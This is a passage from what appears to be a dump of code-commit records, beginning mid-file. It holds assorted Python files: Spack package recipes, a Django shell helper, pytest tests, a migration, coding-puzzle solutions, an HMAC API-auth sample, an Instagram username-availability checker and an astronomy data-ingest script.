when='+xml') def configure_args(self): spec = self.spec args = [ # `make check` fails without this # Adding a gettext dependency does not help '--disable-nls', ] if '+xml' in spec: args.append('--with-libxml2={0}'.format(spec['libxml2'].prefix)) else: args.append('--without-libxml2') return args
Python
0
cbbf9f34d08897358023078d81be3fa798601b02
add the repl.py
repl.py
repl.py
#!/usr/bin/env python3 """Run Django shell with imported modules""" if __name__ == "__main__": import os if not os.environ.get("PYTHONSTARTUP"): from subprocess import check_call import sys base_dir = os.path.dirname(os.path.abspath(__file__)) sys.exit( check_call( [os.path.join(base_dir, "manage.py"), "shell", *sys.argv[1:]], env={**os.environ, "PYTHONSTARTUP": os.path.join(base_dir, "repl.py")}, ) ) # put imports here used by PYTHONSTARTUP from django.conf import settings for app in settings.INSTALLED_APPS: try: exec( # pylint: disable=exec-used "from {app}.models import *".format(app=app) ) except ModuleNotFoundError: pass
Python
0
21799cbe81c57f80f66cb5a90992d6ff66c31e2d
Create new package. (#5919)
var/spack/repos/builtin/packages/r-hmisc/package.py
var/spack/repos/builtin/packages/r-hmisc/package.py
############################################################################## # Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-647188 # # For details, see https://github.com/llnl/spack # Please also see the NOTICE and LICENSE files for our notice and the LGPL. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License (as # published by the Free Software Foundation) version 2.1, February 1999. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and # conditions of the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## from spack import * class RHmisc(RPackage): """Contains many functions useful for data analysis, high-level graphics, utility operations, functions for computing sample size and power, importing and annotating datasets, imputing missing values, advanced table making, variable clustering, character string manipulation, conversion of R objects to LaTeX and html code, and recoding variables.""" homepage = "http://biostat.mc.vanderbilt.edu/Hmisc" url = "https://cran.rstudio.com/src/contrib/Hmisc_4.0-3.tar.gz" list_url = "https://cran.r-project.org/src/contrib/Archive/Hmisc" version('4.0-3', '7091924db1e473419d8116c3335f82da') depends_on('r-lattice', type=('build', 'run')) depends_on('r-survival', type=('build', 'run')) depends_on('r-formula', type=('build', 'run')) depends_on('r-ggplot2', type=('build', 'run')) depends_on('r-latticeextra', type=('build', 'run')) depends_on('r-acepack', type=('build', 'run')) depends_on('r-gridextra', type=('build', 'run')) depends_on('r-data-table', type=('build', 'run')) depends_on('r-htmltools', type=('build', 'run')) depends_on('r-base64enc', type=('build', 'run')) depends_on('r-htmltable', type=('build', 'run')) depends_on('r-viridis', type=('build', 'run'))
Python
0
cf7c33e3b3d733f24376badac70392ecb5f5a323
add more tests
tests/test_build_definitions.py
tests/test_build_definitions.py
from vdist.builder import Build from vdist.source import git, directory, git_directory def test_build_projectroot_from_uri(): build = Build( name='my build', app='myapp', version='1.0', source=git( uri='https://github.com/objectified/vdist', branch='release-1.0' ), profile='ubuntu-trusty' ) assert build.get_project_root_from_source() == 'vdist' def test_build_projectroot_from_directory(): build = Build( name='my build', app='myapp', version='1.0', source=directory(path='/var/tmp/vdist'), profile='ubuntu-trusty' ) assert build.get_project_root_from_source() == 'vdist' def test_build_projectroot_from_git_directory(): build = Build( name='my build', app='myapp', version='1.0', source=git_directory( path='/var/tmp/vdist', branch='release-1.0' ), profile='ubuntu-trusty' ) assert build.get_project_root_from_source() == 'vdist' def test_build_get_safe_dirname(): build = Build( name='my build', app='myapp-foo @#^&_', version='1.0', source=git_directory( path='/var/tmp/vdist', branch='release-1.0' ), profile='ubuntu-trusty' ) assert build.get_safe_dirname() == 'myapp-foo______-1.0-ubuntu-trusty'
Python
0
e19097216c090c0e3f4b68c743d6427f012ab69e
Add migration for legislator change
txlege84/legislators/migrations/0004_auto_20141201_1604.py
txlege84/legislators/migrations/0004_auto_20141201_1604.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('legislators', '0003_auto_20141120_1731'), ] operations = [ migrations.AlterField( model_name='legislator', name='party', field=models.ForeignKey(related_name='legislators', blank=True, to='legislators.Party', null=True), preserve_default=True, ), ]
Python
0
01327c49590641c8fe918d91a7877aa67fd56e88
Add lc0172_factorial_trailing_zeroes.py
lc0172_factorial_trailing_zeroes.py
lc0172_factorial_trailing_zeroes.py
"""Leetcode 172. Factorial Trailing Zeroes Easy URL: https://leetcode.com/problems/factorial-trailing-zeroes/ Given an integer n, return the number of trailing zeroes in n!. Example 1: Input: 3 Output: 0 Explanation: 3! = 6, no trailing zero. Example 2: Input: 5 Output: 1 Explanation: 5! = 120, one trailing zero. Note: Your solution should be in logarithmic time complexity. """ class Solution(object): def trailingZeroes(self, n): """ :type n: int :rtype: int """ pass def main(): pass if __name__ == '__main__': main()
Python
0.000087
6a9b224834d1a523b03ce1e7c6ff4fa3ccea2583
Add tests for parse_utils.extract_tables.
tests/test_parse_utils.py
tests/test_parse_utils.py
from pgcli.packages.parseutils import extract_tables def test_simple_select_single_table(): tables = extract_tables('select * from abc') assert tables == ['abc'] def test_simple_select_multiple_tables(): tables = extract_tables('select * from abc, def') assert tables == ['abc', 'def'] def test_simple_select_with_cols_single_table(): tables = extract_tables('select a,b from abc') assert tables == ['abc'] def test_simple_select_with_cols_multiple_tables(): tables = extract_tables('select a,b from abc, def') assert tables == ['abc', 'def'] #def test_select_with_hanging_comma_single_table(): #tables = extract_tables('select a, from abc') #assert tables == ['abc'] #def test_select_with_hanging_comma_multiple_tables(): #tables = extract_tables('select a, from abc, def') #assert tables == ['abc'] #def test_simple_insert_single_table(): #tables = extract_tables('insert into abc (id, name) values (1, "def")') #assert tables == ['abc']
Python
0
897843932937faa841220cde90bdc89603d95615
Solve hackerrank linked list problem
hackerrank/linked-list/dedup.py
hackerrank/linked-list/dedup.py
# https://www.hackerrank.com/challenges/delete-duplicate-value-nodes-from-a-sorted-linked-list/problem def RemoveDuplicates(head): if head is None: return None curr = head while curr.next is not None: currentData = curr.data next = curr.next; nextData = next.data if currentData == nextData: curr.next = curr.next.next else: curr = curr.next return head
Python
0.005101
7a25a38d7b53da6aadf5b0d45aa9aefdb639ae81
Add python sample library
test.py
test.py
from datetime import datetime from time import mktime from wsgiref.handlers import format_date_time from requests.auth import AuthBase from base64 import b64encode from urllib import urlencode from urlparse import urlparse, parse_qs, ParseResult import re import requests import hashlib import hmac public_token = "Ch7/DHoFIdIDaX5m4mqGxQ==" secret_token = "6Ql2ZXcYqOGLdwwdWbcnCJq0N32hX8NA6AWr6wewx/T+oLcWOuynddnrETxkP9cHB7jXNs09NL3vY/BGeDxxWw==" auth = HMACAuth(public_token, secret_token) hostname = "localhost" port = "3000" https = False base_endpoint = "api" api_base = "http%s://%s%s/%s" % ("s" if https else "", hostname, ":" + port if port else "", base_endpoint) class HMACAuth(AuthBase): def __init__(self, public_token, secret_token): self.public_token = public_token self.secret_token = secret_token def __call__(self, r): self.add_auth_header(r) return r def add_auth_header(self, r): r.headers['Authorization'] = self.auth_header(r) def auth_header(self, r): return "APIAuth %s:%s" % (self.public_token, self.hmac_signature(r)) def hmac_signature(self, r): return b64encode(hmac.new(self.secret_token, self.canonical_string(r), hashlib.sha1).digest()) def canonical_string(self, r): return ",".join([ # self.method(r), self.content_type(r), self.content_md5(r), self.uri(r), self.date(r) ]) def find_header(self, r, l): for header in l: for key, value in r.headers.iteritems(): if key.upper() == header: return value return "" def method(self, r): return r.method.upper() def content_type(self, r): return self.find_header(r, "CONTENT-TYPE CONTENT_TYPE HTTP_CONTENT_TYPE".split()) def content_md5(self, r): md5 = self.find_header(r, "CONTENT-MD5 CONTENT_MD5".split()) if not md5 and self.method(r) in "POST PUT".split(): md5 = self.add_content_md5_header(r) return md5 def uri(self, r): url = re.sub(r'https?://[^,?/]*', '', r.url) return url if url else "/" def date(self, r): date = self.find_header(r, "DATE HTTP_DATE".split()) if not date: date = self.add_date_header(r) return date def add_content_md5_header(self, r): m = hashlib.md5() m.update(r.body if r.body else "") md5 = m.hexdigest() r.headers['Content-MD5'] = md5 return md5 def add_date_header(self, r): date = format_date_time(mktime(datetime.now().timetuple())) r.headers['Date'] = date return date def last_nonce(): return int(requests.get("%s/last_nonce" % (api_base), auth=auth).text) def add_nonce(url): nonce = last_nonce() + 1 uri = urlparse(url) query = parse_qs(uri.query) if 'nonce' in query: del query['nonce'] query['nonce'] = nonce query = urlencode(query, True) return ParseResult(uri.scheme, uri.netloc, uri.path, uri.params, query, uri.fragment).geturl() url = "%s/test" % (api_base) r = requests.get(add_nonce(url), auth=auth) print r.text
Python
0.000001
b3a20379162a068cc8f9a0f314a21a46ec40e4c6
Add simple unit test for snapshot iteration class
test.py
test.py
#!/usr/bin/env python import unittest from fix_time_machine_backup import SnapshotList class TestSnapshotList(unittest.TestCase): def setUp(self): self.snapshot_list = SnapshotList([ 'auto-20160820.2103-2m', 'auto-20160821.0003-2m', 'auto-20160821.1503-2m', 'auto-20160821.2303-2m', 'auto-20160823.1003-2m', 'auto-20160825.1003-2m', 'auto-20160827.0003-2m', 'auto-20160827.1003-2m', 'auto-20160828.0603-2m', ]) def test_get_next_snapshot(self): self.assertEqual(self.snapshot_list.get_current_snapshot(), 'auto-20160828.0603-2m') self.assertEqual(self.snapshot_list.get_next_snapshot(), 'auto-20160821.0003-2m') if __name__ == '__main__': unittest.main()
Python
0
aaea97c5cab778174b45cb2557d819deb769a45e
Create instagram_checker.py
instagram_checker.py
instagram_checker.py
import requests, argparse, sys class checker: def __init__(self): #Declare some variables self.headers = {'User-agent': 'Mozilla/5.0'} self.loginurl = 'https://www.instagram.com/accounts/login/ajax/' self.url = 'https://www.instagram.com/' #Start a session and update headers self.s = requests.session() self.s.headers.update(self.headers) #Gets username, password, textfile to check usernames, and output file for available usernames. parser = argparse.ArgumentParser() parser.add_argument("-u", dest='username', help="Instagram username", action="store") parser.add_argument("-p", dest='password', help="Instagram password", action="store") parser.add_argument("-i", dest='inputf', help="Textfile with usernames", action="store") parser.add_argument("-o", dest='outputf', help="Output textfile", action="store") args = parser.parse_args() #Save variables from argparse self.username = args.username self.password = args.password self.inputf = args.inputf self.outputf = args.outputf def login(self, username, password): #Logs into instagram loginRequest = self.s.post( self.loginurl, headers={ 'x-csrftoken': self.s.get(self.url).text.split('csrf_token": "')[1].split('"')[0], 'x-instagram-ajax':'1', 'x-requested-with': 'XMLHttpRequest', 'Origin': self.url, 'Referer': self.url, }, data={ 'username':username, 'password':password, } ) if loginRequest.json()['authenticated']: print('Logged In.') else: sys.exit("Login Failed, closing program.") def get_usernames(self, filename): #Gets username from file with open(filename, "r") as f: usernames = f.read().split("\n") return usernames def check_usernames(self, username, output): #checks username and saves available usernames to new file for user in usernames: r = self.s.get(self.url+user) al = r.text text = al[al.find('<title>') + 7 :al.find('</title>')] if "Page Not Found" in text: with open(output, "a") as a: a.write(user+'\n') if __name__ == "__main__": check = checker() check.login(check.username, check.password) #Clears output file for new usernames with open(check.outputf, "w") as a: print('Output file cleared.') usernames = check.get_usernames(check.inputf) check.check_usernames(usernames, check.outputf)
Python
0.000035
20600b8cac9488ff416397de374c2d3dacf4afe4
add tests and netcdf-cxx4
var/spack/repos/builtin/packages/dealii/package.py
var/spack/repos/builtin/packages/dealii/package.py
from spack import * import shutil class Dealii(Package): """C++ software library providing well-documented tools to build finite element codes for a broad variety of PDEs.""" homepage = "https://www.dealii.org" url = "https://github.com/dealii/dealii/releases/download/v8.4.0/dealii-8.4.0.tar.gz" version('8.4.0', 'ac5dbf676096ff61e092ce98c80c2b00') depends_on ("cmake") depends_on ("blas") depends_on ("lapack") depends_on ("mpi") depends_on ("arpack-ng+mpi") depends_on ("boost") depends_on ("doxygen") depends_on ("hdf5+mpi~cxx") #FIXME NetCDF declares dependency with ~cxx, why? depends_on ("metis") depends_on ("muparser") depends_on ("netcdf-cxx4") #depends_on ("numdiff") #FIXME depends_on ("oce") depends_on ("p4est") depends_on ("parmetis") depends_on ("petsc+mpi") depends_on ("slepc") depends_on ("suite-sparse") depends_on ("tbb") depends_on ("trilinos") def install(self, spec, prefix): options = [] options.extend(std_cmake_args) # CMAKE_BUILD_TYPE should be DebugRelease | Debug | Release for word in options[:]: if word.startswith('-DCMAKE_BUILD_TYPE'): options.remove(word) options.extend([ '-DCMAKE_BUILD_TYPE=DebugRelease', '-DDEAL_II_WITH_THREADS:BOOL=ON' '-DDEAL_II_WITH_MPI:BOOL=ON', '-DCMAKE_C_COMPILER=%s' % join_path(self.spec['mpi'].prefix.bin, 'mpicc'), # FIXME: avoid hardcoding mpi wrappers names '-DCMAKE_CXX_COMPILER=%s' % join_path(self.spec['mpi'].prefix.bin, 'mpic++'), '-DCMAKE_Fortran_COMPILER=%s' % join_path(self.spec['mpi'].prefix.bin, 'mpif90'), '-DARPACK_DIR=%s' % spec['arpack-ng'].prefix, '-DBOOST_DIR=%s' % spec['boost'].prefix, '-DHDF5_DIR=%s' % spec['hdf5'].prefix, '-DMETIS_DIR=%s' % spec['metis'].prefix, '-DMUPARSER_DIR=%s ' % spec['muparser'].prefix, '-DNETCDF_DIR=%s' % spec['netcdf-cxx4'].prefix, '-DOPENCASCADE_DIR=%s' % spec['oce'].prefix, '-DP4EST_DIR=%s' % spec['p4est'].prefix, '-DPETSC_DIR=%s' % spec['petsc'].prefix, '-DSLEPC_DIR=%s' % spec['slepc'].prefix, '-DUMFPACK_DIR=%s' % spec['suite-sparse'].prefix, '-DTBB_DIR=%s' % spec['tbb'].prefix, '-DTRILINOS_DIR=%s' % spec['trilinos'].prefix ]) cmake('.', *options) make() make("test") make("install") # run some MPI examples with different solvers from PETSc and Trilinos env['DEAL_II_DIR'] = prefix # take bare-bones step-3 with working_dir('examples/step-3'): cmake('.') make('release') make('run',parallel=False) # take step-40 which can use both PETSc and Trilinos # FIXME: switch step-40 to MPI run with working_dir('examples/step-40'): # list the number of cycles to speed up filter_file(r'(const unsigned int n_cycles = 8;)', ('const unsigned int n_cycles = 2;'), 'step-40.cc') cmake('.') make('release') make('run',parallel=False) # change Linear Algebra to Trilinos filter_file(r'(#define USE_PETSC_LA.*)', (''), 'step-40.cc') make('release') make('run',parallel=False) with working_dir('examples/step-36'): cmake('.') make('release') make('run',parallel=False) with working_dir('examples/step-54'): cmake('.') make('release') # FIXME # make('run',parallel=False)
from spack import * class Dealii(Package): """C++ software library providing well-documented tools to build finite element codes for a broad variety of PDEs.""" homepage = "https://www.dealii.org" url = "https://github.com/dealii/dealii/releases/download/v8.4.0/dealii-8.4.0.tar.gz" version('8.4.0', 'ac5dbf676096ff61e092ce98c80c2b00') depends_on ("cmake") depends_on ("blas") depends_on ("lapack") depends_on ("mpi") depends_on ("arpack-ng+mpi") depends_on ("boost") depends_on ("doxygen") depends_on ("hdf5+mpi~cxx") #FIXME NetCDF declares dependency with ~cxx, why? depends_on ("metis") depends_on ("muparser") depends_on ("netcdf") #depends_on ("numdiff") #FIXME depends_on ("oce") depends_on ("p4est") depends_on ("parmetis") depends_on ("petsc+mpi") depends_on ("slepc") depends_on ("suite-sparse") depends_on ("tbb") depends_on ("trilinos") def install(self, spec, prefix): options = [] options.extend(std_cmake_args) # CMAKE_BUILD_TYPE should be DebugRelease | Debug | Release for word in options[:]: if word.startswith('-DCMAKE_BUILD_TYPE'): options.remove(word) options.extend([ '-DCMAKE_BUILD_TYPE=DebugRelease', '-DDEAL_II_WITH_THREADS:BOOL=ON' '-DDEAL_II_WITH_MPI:BOOL=ON', '-DCMAKE_C_COMPILER=%s' % join_path(self.spec['mpi'].prefix.bin, 'mpicc'), # FIXME: avoid hardcoding mpi wrappers names '-DCMAKE_CXX_COMPILER=%s' % join_path(self.spec['mpi'].prefix.bin, 'mpic++'), '-DCMAKE_Fortran_COMPILER=%s' % join_path(self.spec['mpi'].prefix.bin, 'mpif90'), '-DARPACK_DIR=%s' % spec['arpack-ng'].prefix, '-DBOOST_DIR=%s' % spec['boost'].prefix, '-DHDF5_DIR=%s' % spec['hdf5'].prefix, '-DMETIS_DIR=%s' % spec['metis'].prefix, '-DMUPARSER_DIR=%s ' % spec['muparser'].prefix, '-DNETCDF_DIR=%s' % spec['netcdf'].prefix, '-DOPENCASCADE_DIR=%s' % spec['oce'].prefix, '-DP4EST_DIR=%s' % spec['p4est'].prefix, '-DPETSC_DIR=%s' % spec['petsc'].prefix, '-DSLEPC_DIR=%s' % spec['slepc'].prefix, '-DUMFPACK_DIR=%s' % spec['suite-sparse'].prefix, '-DTBB_DIR=%s' % spec['tbb'].prefix, '-DTRILINOS_DIR=%s' % spec['trilinos'].prefix ]) cmake('.', *options) make() make("test") make("install")
Python
0
16aa4a292fafa2a74f668a56c5cf1a66f923df24
Make src.cm.tools a package
src/cm/tools/__init__.py
src/cm/tools/__init__.py
"""@package cm.tools @date Jun 6, 2014 @author Zosia Sobocińska """
Python
0.000437
519d6052e3bf16c8028d39eab374cd2aa17ffd4e
add position field to user committee
application/migrations/0014_usercommittee_position.py
application/migrations/0014_usercommittee_position.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('application', '0013_auto_20150313_2126'), ] operations = [ migrations.AddField( model_name='usercommittee', name='position', field=models.CharField(max_length=255, default=''), preserve_default=False, ), ]
Python
0
557b0f30e0180a526433b65915d2a137144f2f05
add test_logger.py
tests/unit/test_logger.py
tests/unit/test_logger.py
# Tai Sakuma <tai.sakuma@gmail.com> import logging import alphatwirl ##__________________________________________________________________|| def test_logger_exist(): assert 'alphatwirl' in logging.Logger.manager.loggerDict def test_len_handlers(): logger = logging.getLogger('alphatwirl') assert len(logger.handlers) >= 1 ##__________________________________________________________________|| def test_example(): logger_names = logging.Logger.manager.loggerDict.keys() loglevel_dict = {l: logging.getLogger(l).getEffectiveLevel() for l in logger_names} # a dict of names and levels of loggers # e.g., # { # 'alphatwirl': 40, # 'alphatwirl.delphes': 40, # 'alphatwirl.loop': 40, # 'pandas': 0, # } # # https://docs.python.org/3/library/logging.html#logging-levels # Level Numeric value # CRITICAL 50 # ERROR 40 # WARNING 30 # INFO 20 # DEBUG 10 # NOTSET 0 ##__________________________________________________________________||
Python
0.000007
59b00a4f5cc5aa5139492660206c99185df24f7b
create unittest for area serializer for #191
popit/tests/test_area_api.py
popit/tests/test_area_api.py
from rest_framework.test import APITestCase from rest_framework import status from rest_framework.authtoken.models import Token from popit.models import * class AreaAPITestCase(APITestCase): fixtures = [ "api_request_test_data.yaml" ] def test_create_area_serializer(self): pass def test_fetch_area_serializer(self): client = self.client.get("/en/areas/b0c2dbaba8ea476f91db1e3c2320dcb7") def test_update_area_serializer(self): pass
Python
0
a8274a5d5e4ec68f3ee594ffa741e90f11cf24db
Add tool to regenerate JSON files from P4 progs
tools/update_test_bmv2_jsons.py
tools/update_test_bmv2_jsons.py
#!/usr/bin/env python2 import argparse import fnmatch import os import subprocess import sys def find_files(root): files = [] for path_prefix, _, filenames in os.walk(root, followlinks=False): for filename in fnmatch.filter(filenames, '*.p4'): path = os.path.join(path_prefix, filename) json_path = os.path.splitext(path)[0] + ".json" if os.path.exists(json_path): files.append([path, json_path]) return files def check_compiler_exec(path): try: with open(os.devnull, 'w') as devnull: subprocess.check_call([path, "--version"], stdout=devnull, stderr=devnull) return True except subprocess.CalledProcessError: return True except OSError: # exec not found return False def main(): parser = argparse.ArgumentParser( description="Search for P4 files recursively in provided directory " "and if they have a JSON equivalent regenerates it using the bmv2 " "compiler.") parser.add_argument("--root", type=str, default=os.getcwd(), help="Directory in which to recursively search for P4 " "files. Default is current working directory.") parser.add_argument("--compiler", type=str, default="p4c-bmv2", help="bmv2 compiler to use. Default is p4c-bmv2.") args = parser.parse_args() if not check_compiler_exec(args.compiler): print "Cannot use provided compiler" sys.exit(1) files = find_files(args.root) for input_f, output_f in files: print "Regenerating", input_f, "->", output_f try: cmd = [args.compiler, input_f, "--json", output_f, "--keep-pragmas"] with open(os.devnull, 'w') as devnull: out = subprocess.check_output(cmd, stderr=subprocess.STDOUT) except subprocess.CalledProcessError: print "ERROR" print " ".join(cmd) print out except OSError: print "FATAL ERROR" sys.exit(2) if __name__ == '__main__': main()
Python
0.000001
f1d3717b45650244d9a4f44caf6f610636bb72ee
Add other_data_collections/2015ApJ...812...60B/biteau.py
other_data_collections/2015ApJ...812...60B/biteau.py
other_data_collections/2015ApJ...812...60B/biteau.py
""" Script to check and ingest Biteau & Williams (2015) data for gamma-cat. """ from astropy.table import Table class Biteau: def __init__(self): filename = 'other_data_collections/2015ApJ...812...60B/BiteauWilliams2015_AllData_ASDC_v2016_12_20.ecsv' self.table = Table.read(filename, format='ascii.ecsv', delimiter='|') def run_checks(self): # self.table.pprint() self.table.show_in_browser(jsviewer=True) self.table.info('stats') if __name__ == '__main__': biteau = Biteau() biteau.run_checks()
Python
0